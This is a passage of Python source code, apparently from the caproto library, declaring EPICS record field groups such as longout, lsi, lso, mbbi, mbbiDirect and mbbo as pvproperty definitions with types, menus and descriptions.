Alarmed", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.LONG, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.LONG, doc="Last Val Monitored", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) sim_mode_location = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Sim Mode Location" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) sim_mode_alarm_svrty = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Sim mode Alarm Svrty", ) sim_input_specifctn = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Sim Input Specifctn" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.LONG, doc="Simulation Value" ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Current value') link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class LongoutFields(RecordFieldGroup, _LimitsLong): _record_type = "longout" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _LimitsLong) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_longout.get_string_tuple(), doc="Device Type", ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.LONG, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.LONG, doc="Last Value Archived", read_only=True, ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) drive_high_limit = pvproperty( name="DRVH", dtype=ChannelType.LONG, doc="Drive High Limit" ) drive_low_limit = pvproperty( name="DRVL", dtype=ChannelType.LONG, doc="Drive Low Limit" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.LONG, doc="Alarm Deadband" ) invalid_output_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID output action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.LONG, doc="INVALID output value" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.LONG, doc="Last Value Alarmed", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.LONG, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.LONG, doc="Last Val Monitored", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) sim_mode_location = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Sim Mode Location" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) sim_mode_alarm_svrty = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Sim mode Alarm Svrty", ) sim_output_specifctn = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Sim Output Specifctn" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) # desired_output = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Desired Output') link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class LsiFields(RecordFieldGroup): _record_type = "lsi" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_lsi.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.menuPost.get_string_tuple(), doc="Post Archive Monitors", ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) length_of_val = pvproperty( name="LEN", dtype=ChannelType.LONG, doc="Length of VAL", read_only=True ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.menuPost.get_string_tuple(), doc="Post Value Monitors", ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) length_of_oval = pvproperty( name="OLEN", dtype=ChannelType.LONG, doc="Length of OVAL", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) size_of_buffers = pvproperty( name="SIZV", dtype=ChannelType.INT, doc="Size of buffers", read_only=True, value=41, ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) class LsoFields(RecordFieldGroup): _record_type = "lso" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_lso.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.menuPost.get_string_tuple(), doc="Post Archive Monitors", ) desired_output_link = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Link" ) invalid_output_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID Output Action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="INVALID Output Value", ) length_of_val = pvproperty( name="LEN", dtype=ChannelType.LONG, doc="Length of VAL", read_only=True ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.menuPost.get_string_tuple(), doc="Post Value Monitors", ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) length_of_oval = pvproperty( name="OLEN", dtype=ChannelType.LONG, doc="Length of OVAL", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) size_of_buffers = pvproperty( name="SIZV", dtype=ChannelType.INT, doc="Size of buffers", read_only=True, value=41, ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) class MbbiFields(RecordFieldGroup): _record_type = "mbbi" _dtype = ChannelType.ENUM # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_mbbi.get_string_tuple(), doc="Device Type", ) alarm_filter_time_constant = pvproperty( name="AFTC", dtype=ChannelType.DOUBLE, doc="Alarm Filter Time Constant" ) alarm_filter_value = pvproperty( name="AFVL", dtype=ChannelType.DOUBLE, doc="Alarm Filter Value", read_only=True, ) change_of_state_svr = pvproperty( name="COSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Change of State Svr", ) eight_string = pvproperty( name="EIST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Eight String", ) state_eight_severity = pvproperty( name="EISV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Eight Severity", ) eight_value = pvproperty( name="EIVL", dtype=ChannelType.LONG, doc="Eight Value" ) eleven_string = pvproperty( name="ELST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Eleven String", ) state_eleven_severity = pvproperty( name="ELSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Eleven Severity", ) eleven_value = pvproperty( name="ELVL", dtype=ChannelType.LONG, doc="Eleven Value" ) fifteen_string = pvproperty( name="FFST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Fifteen String", ) state_fifteen_severity = pvproperty( name="FFSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Fifteen Severity", ) fifteen_value = pvproperty( name="FFVL", dtype=ChannelType.LONG, doc="Fifteen Value" ) four_string = pvproperty( name="FRST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Four String", ) state_four_severity = pvproperty( name="FRSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Four Severity", ) four_value = pvproperty( name="FRVL", dtype=ChannelType.LONG, doc="Four Value" ) fourteen_string = pvproperty( name="FTST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Fourteen String", ) state_fourteen_sevr = pvproperty( name="FTSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Fourteen Sevr", ) fourteen_value = pvproperty( name="FTVL", dtype=ChannelType.LONG, doc="Fourteen Value" ) five_string = pvproperty( name="FVST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Five String", ) state_five_severity = pvproperty( name="FVSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Five Severity", ) five_value = pvproperty( name="FVVL", dtype=ChannelType.LONG, doc="Five Value" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.INT, doc="Last Value Alarmed", read_only=True, ) hardware_mask = pvproperty( name="MASK", dtype=ChannelType.LONG, doc="Hardware Mask", read_only=True ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.INT, doc="Last Value Monitored", read_only=True, ) nine_string = pvproperty( name="NIST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Nine String", ) state_nine_severity = pvproperty( name="NISV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Nine Severity", ) nine_value = pvproperty( name="NIVL", dtype=ChannelType.LONG, doc="Nine Value" ) number_of_bits = pvproperty( name="NOBT", dtype=ChannelType.INT, doc="Number of Bits", read_only=True ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) one_string = pvproperty( name="ONST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="One String", ) state_one_severity = pvproperty( name="ONSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State One Severity", ) one_value = pvproperty(name="ONVL", dtype=ChannelType.LONG, doc="One Value") prev_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="Prev Raw Value", read_only=True, ) raw_value = pvproperty(name="RVAL", dtype=ChannelType.LONG, doc="Raw Value") states_defined = pvproperty( name="SDEF", dtype=ChannelType.INT, doc="States Defined", read_only=True ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) shift = pvproperty(name="SHFT", dtype=ChannelType.INT, doc="Shift") simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.LONG, doc="Simulation Value" ) seven_string = pvproperty( name="SVST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Seven String", ) state_seven_severity = pvproperty( name="SVSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Seven Severity", ) seven_value = pvproperty( name="SVVL", dtype=ChannelType.LONG, doc="Seven Value" ) six_string = pvproperty( name="SXST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Six String", ) state_six_severity = pvproperty( name="SXSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Six Severity", ) six_value = pvproperty(name="SXVL", dtype=ChannelType.LONG, doc="Six Value") ten_string = pvproperty( name="TEST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Ten String", ) state_ten_severity = pvproperty( name="TESV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Ten Severity", ) ten_value = pvproperty(name="TEVL", dtype=ChannelType.LONG, doc="Ten Value") three_string = pvproperty( name="THST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Three String", ) state_three_severity = pvproperty( name="THSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Three Severity", ) three_value = pvproperty( name="THVL", dtype=ChannelType.LONG, doc="Three Value" ) thirteen_string = pvproperty( name="TTST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Thirteen String", ) state_thirteen_sevr = pvproperty( name="TTSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Thirteen Sevr", ) thirteen_value = pvproperty( name="TTVL", dtype=ChannelType.LONG, doc="Thirteen Value" ) twelve_string = pvproperty( name="TVST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Twelve String", ) state_twelve_severity = pvproperty( name="TVSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Twelve Severity", ) twelve_value = pvproperty( name="TVVL", dtype=ChannelType.LONG, doc="Twelve Value" ) two_string = pvproperty( name="TWST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Two String", ) state_two_severity = pvproperty( name="TWSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Two Severity", ) two_value = pvproperty(name="TWVL", dtype=ChannelType.LONG, doc="Two Value") unknown_state_severity = pvproperty( name="UNSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Unknown State Severity", ) zero_string = pvproperty( name="ZRST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Zero String", ) state_zero_severity = pvproperty( name="ZRSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Zero Severity", ) zero_value = pvproperty( name="ZRVL", dtype=ChannelType.LONG, doc="Zero Value" ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.ENUM, # doc='Current Value') class MbbidirectFields(RecordFieldGroup): _record_type = "mbbiDirect" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_mbbiDirect.get_string_tuple(), doc="Device Type", ) bit_0 = pvproperty(name="B0", dtype=ChannelType.CHAR, doc="Bit 0") bit_1 = pvproperty(name="B1", dtype=ChannelType.CHAR, doc="Bit 1") bit_16 = pvproperty(name="B10", dtype=ChannelType.CHAR, doc="Bit 16") bit_17 = pvproperty(name="B11", dtype=ChannelType.CHAR, doc="Bit 17") bit_18 = pvproperty(name="B12", dtype=ChannelType.CHAR, doc="Bit 18") bit_19 = pvproperty(name="B13", dtype=ChannelType.CHAR, doc="Bit 19") bit_20 = pvproperty(name="B14", dtype=ChannelType.CHAR, doc="Bit 20") bit_21 = pvproperty(name="B15", dtype=ChannelType.CHAR, doc="Bit 21") bit_22 = pvproperty(name="B16", dtype=ChannelType.CHAR, doc="Bit 22") bit_23 = pvproperty(name="B17", dtype=ChannelType.CHAR, doc="Bit 23") bit_24 = pvproperty(name="B18", dtype=ChannelType.CHAR, doc="Bit 24") bit_25 = pvproperty(name="B19", dtype=ChannelType.CHAR, doc="Bit 25") bit_26 = pvproperty(name="B1A", dtype=ChannelType.CHAR, doc="Bit 26") bit_27 = pvproperty(name="B1B", dtype=ChannelType.CHAR, doc="Bit 27") bit_28 = pvproperty(name="B1C", dtype=ChannelType.CHAR, doc="Bit 28") bit_29 = pvproperty(name="B1D", dtype=ChannelType.CHAR, doc="Bit 29") bit_30 = pvproperty(name="B1E", dtype=ChannelType.CHAR, doc="Bit 30") bit_31 = pvproperty(name="B1F", dtype=ChannelType.CHAR, doc="Bit 31") bit_2 = pvproperty(name="B2", dtype=ChannelType.CHAR, doc="Bit 2") bit_3 = pvproperty(name="B3", dtype=ChannelType.CHAR, doc="Bit 3") bit_4 = pvproperty(name="B4", dtype=ChannelType.CHAR, doc="Bit 4") bit_5 = pvproperty(name="B5", dtype=ChannelType.CHAR, doc="Bit 5") bit_6 = pvproperty(name="B6", dtype=ChannelType.CHAR, doc="Bit 6") bit_7 = pvproperty(name="B7", dtype=ChannelType.CHAR, doc="Bit 7") bit_8 = pvproperty(name="B8", dtype=ChannelType.CHAR, doc="Bit 8") bit_9 = pvproperty(name="B9", dtype=ChannelType.CHAR, doc="Bit 9") bit_10 = pvproperty(name="BA", dtype=ChannelType.CHAR, doc="Bit 10") bit_11 = pvproperty(name="BB", dtype=ChannelType.CHAR, doc="Bit 11") bit_12 = pvproperty(name="BC", dtype=ChannelType.CHAR, doc="Bit 12") bit_13 = pvproperty(name="BD", dtype=ChannelType.CHAR, doc="Bit 13") bit_14 = pvproperty(name="BE", dtype=ChannelType.CHAR, doc="Bit 14") bit_15 = pvproperty(name="BF", dtype=ChannelType.CHAR, doc="Bit 15") input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) hardware_mask = pvproperty( name="MASK", dtype=ChannelType.LONG, doc="Hardware Mask", read_only=True ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.LONG, doc="Last Value Monitored", read_only=True, ) number_of_bits = pvproperty( name="NOBT", dtype=ChannelType.INT, doc="Number of Bits", read_only=True ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) prev_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="Prev Raw Value", read_only=True, ) raw_value = pvproperty(name="RVAL", dtype=ChannelType.LONG, doc="Raw Value") sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) shift = pvproperty(name="SHFT", dtype=ChannelType.INT, doc="Shift") simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.LONG, doc="Simulation Value" ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Current Value') class MbboFields(RecordFieldGroup): _record_type = "mbbo" _dtype = ChannelType.ENUM # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_mbbo.get_string_tuple(), doc="Device Type", ) change_of_state_sevr = pvproperty( name="COSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Change of State Sevr", ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) eight_string = pvproperty( name="EIST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Eight String", ) state_eight_severity = pvproperty( name="EISV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Eight Severity", ) eight_value = pvproperty( name="EIVL", dtype=ChannelType.LONG, doc="Eight Value" ) eleven_string = pvproperty( name="ELST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Eleven String", ) state_eleven_severity = pvproperty( name="ELSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Eleven Severity", ) eleven_value = pvproperty( name="ELVL", dtype=ChannelType.LONG, doc="Eleven Value" ) fifteen_string = pvproperty( name="FFST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Fifteen String", ) state_fifteen_sevr = pvproperty( name="FFSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Fifteen Sevr", ) fifteen_value = pvproperty( name="FFVL", dtype=ChannelType.LONG, doc="Fifteen Value" ) four_string = pvproperty( name="FRST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Four String", ) state_four_severity = pvproperty( name="FRSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Four Severity", ) four_value = pvproperty( name="FRVL", dtype=ChannelType.LONG, doc="Four Value" ) fourteen_string = pvproperty( name="FTST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Fourteen String", ) state_fourteen_sevr = pvproperty( name="FTSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Fourteen Sevr", ) fourteen_value = pvproperty( name="FTVL", dtype=ChannelType.LONG, doc="Fourteen Value" ) five_string = pvproperty( name="FVST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Five String", ) state_five_severity = pvproperty( name="FVSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Five Severity", ) five_value = pvproperty( name="FVVL", dtype=ChannelType.LONG, doc="Five Value" ) invalid_outpt_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID outpt action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.INT, doc="INVALID output value" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.INT, doc="Last Value Alarmed", read_only=True, ) hardware_mask = pvproperty( name="MASK", dtype=ChannelType.LONG, doc="Hardware Mask", read_only=True ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.INT, doc="Last Value Monitored", read_only=True, ) nine_string = pvproperty( name="NIST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Nine String", ) state_nine_severity = pvproperty( name="NISV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Nine Severity", ) nine_value = pvproperty( name="NIVL", dtype=ChannelType.LONG, doc="Nine Value" ) number_of_bits = pvproperty( name="NOBT", dtype=ChannelType.INT, doc="Number of Bits", read_only=True ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) one_string = pvproperty( name="ONST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="One String", ) state_one_severity = pvproperty( name="ONSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State One Severity", ) one_value = pvproperty(name="ONVL", dtype=ChannelType.LONG, doc="One Value") prev_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="Prev Raw Value", read_only=True, ) prev_readback_value = pvproperty( name="ORBV", dtype=ChannelType.LONG, doc="Prev Readback Value", read_only=True, ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) readback_value = pvproperty( name="RBV", dtype=ChannelType.LONG, doc="Readback Value", read_only=True ) raw_value = pvproperty(name="RVAL", dtype=ChannelType.LONG, doc="Raw Value") states_defined = pvproperty( name="SDEF", dtype=ChannelType.INT, doc="States Defined", read_only=True ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) shift = pvproperty(name="SHFT", dtype=ChannelType.INT, doc="Shift") simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) seven_string = pvproperty( name="SVST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Seven String", ) state_seven_severity = pvproperty( name="SVSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Seven Severity", ) seven_value = pvproperty( name="SVVL", dtype=ChannelType.LONG, doc="Seven Value" ) six_string = pvproperty( name="SXST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Six String", ) state_six_severity = pvproperty( name="SXSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Six Severity", ) six_value = pvproperty(name="SXVL", dtype=ChannelType.LONG, doc="Six Value") ten_string = pvproperty( name="TEST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Ten String", ) state_ten_severity = pvproperty( name="TESV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Ten Severity", ) ten_value = pvproperty(name="TEVL", dtype=ChannelType.LONG, doc="Ten Value") three_string = pvproperty( name="THST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Three String", ) state_three_severity = pvproperty( name="THSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Three Severity", ) three_value = pvproperty( name="THVL", dtype=ChannelType.LONG, doc="Three Value" ) thirteen_string = pvproperty( name="TTST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Thirteen String", ) state_thirteen_sevr = pvproperty( name="TTSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Thirteen Sevr", ) thirteen_value = pvproperty( name="TTVL", dtype=ChannelType.LONG, doc="Thirteen Value" ) twelve_string = pvproperty( name="TVST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Twelve String", ) state_twelve_severity = pvproperty( name="TVSV", dtype=ChannelType.ENUM, 